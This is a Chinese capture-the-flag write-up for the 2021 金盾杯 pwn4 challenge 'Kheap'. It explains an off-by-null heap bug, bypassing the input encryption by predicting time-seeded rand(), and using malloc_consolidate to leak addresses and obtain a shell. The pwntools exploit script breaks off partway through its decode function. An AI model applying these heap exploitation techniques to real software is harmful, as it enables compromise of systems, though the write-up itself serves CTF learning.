2021 金盾杯 pwn4

本文介绍了一种名为Kheap的程序中存在的漏洞利用方法。通过对输入内容的加密算法进行分析,利用随机数绕过加密,结合内存管理技巧如mallocconsilidate解决chunk大小不足的问题,最终实现地址泄露并获取shell。

在这里插入图片描述
保护是全开的

add
在这里插入图片描述
我们注意到首先会对我们的输入内容进行加密。

在这里插入图片描述加密的算法里面大量用到随机数,但是不重要,伪随机我们可以通过在脚本中使用随机数来绕过。

在这里插入图片描述

有个off by null。

delete
在这里插入图片描述正常delete,没啥问题。

edit
在这里插入图片描述也存在那个off by off。

show
在这里插入图片描述
正常show,show出来我们需要解密。

所以整体看下来就是off by null然后加了一个加密程序。
我们只需要通过随机数绕过那个加密,利用malloc consilidate解决chunk大小不够,不好泄露地址的问题,就可以了。

exp

#coding:utf-8
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'

elf=ELF('./Kheap')
libc=ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6')
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
time=libcc.time(0)
libcc.srand(time)

r = process('./Kheap')
def decode(a,b):
    s=''
    p=libcc.rand()%256
    q=libcc.rand()%256
    m=libcc.rand
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值